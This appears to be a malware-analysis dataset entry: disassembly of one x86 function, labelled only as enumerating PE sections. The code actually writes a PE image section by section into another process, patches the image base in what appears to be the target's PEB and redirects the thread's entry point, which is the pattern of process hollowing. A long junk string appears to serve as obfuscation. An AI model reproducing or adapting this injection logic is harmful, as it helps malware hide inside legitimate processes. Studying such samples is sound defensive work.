Function at 0x407610
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416350
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x478010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
push 0x459a5c
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x24]
call eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x4794b4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x24], str.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
mov dword [ebp - 0x18], 0
jmp 0x40768f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x4076de
imul eax, dword [ebp - 0x18], 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x4794b4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x407686
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x4794b4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov al, 1
jmp 0x40773c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14